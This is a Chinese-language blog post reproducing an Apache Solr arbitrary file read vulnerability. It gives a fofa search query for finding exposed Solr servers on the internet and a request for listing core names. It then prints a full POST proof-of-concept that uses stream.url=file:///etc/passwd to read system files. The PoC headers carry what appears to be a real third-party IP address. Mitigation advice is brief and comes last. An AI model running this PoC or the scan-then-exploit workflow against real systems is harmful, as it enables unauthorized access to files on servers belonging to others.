首页 > 技术文章 > Apache Solr任意文件读取漏洞复现

zcg-cpdd 2021-03-27 18:49 原文

一、漏洞概述:

前段网上披露了Apache Solr的文件读取与SSRF漏洞,由于Apache Solr默认安装时未开启身份验证,导致未经身份验证的攻击者可利用Config API打开requestDispatcher.requestParsers.enableRemoteStreaming开关,从而利用漏洞进行文件读取。

二、影响范围:

Apache Solr <= 8.8.1(全版本)

三、漏洞利用:

1.自己本地搭建Apache Solr环境或者使用fofa找一台。

fofa语法如下:
app="Apache-Solr"

点一个进去:

2.GET请求敏感文件路径获取当前db名字。

 

http://xx.xx.xx.xx:8080/solr/admin/cores?indexInfo=false&wt=json

 

主要是获取name的值

 

3.构造POC,将获取到的name替换到post请求请求中并在请求数据中添加:stream.url=file:///etc/passwd     

 

漏洞POC:

 1 POST /solr/ckan/debug/dump?param=ContentStreams HTTP/1.1
 2 Host: xxx.xxx.xxx.xxx:8983
 3 Content-Length: 29
 4 Cache-Control: max-age=0
 5 Upgrade-Insecure-Requests: 1
 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
 7 Origin: http://118.31.46.134:8983
 8 Content-Type: application/x-www-form-urlencoded
 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://118.31.46.134:8983/solr/ckan/config
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
13 Connection: close
14 
15 stream.url=file:///etc/passwd

利用结果如图:

 

上图显示利用成功,读取到了/etc/passwd文件信息。

 

四、漏洞防护

由于目前官方不予修复该漏洞,暂无安全版本。
可采用以下方式进行防护:
1. 开启身份验证/授权,参考官方文档:https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html
2. 配置防火墙策略,确保Solr API(包括Admin UI)只有受信任的IP和用户才能访问。

推荐阅读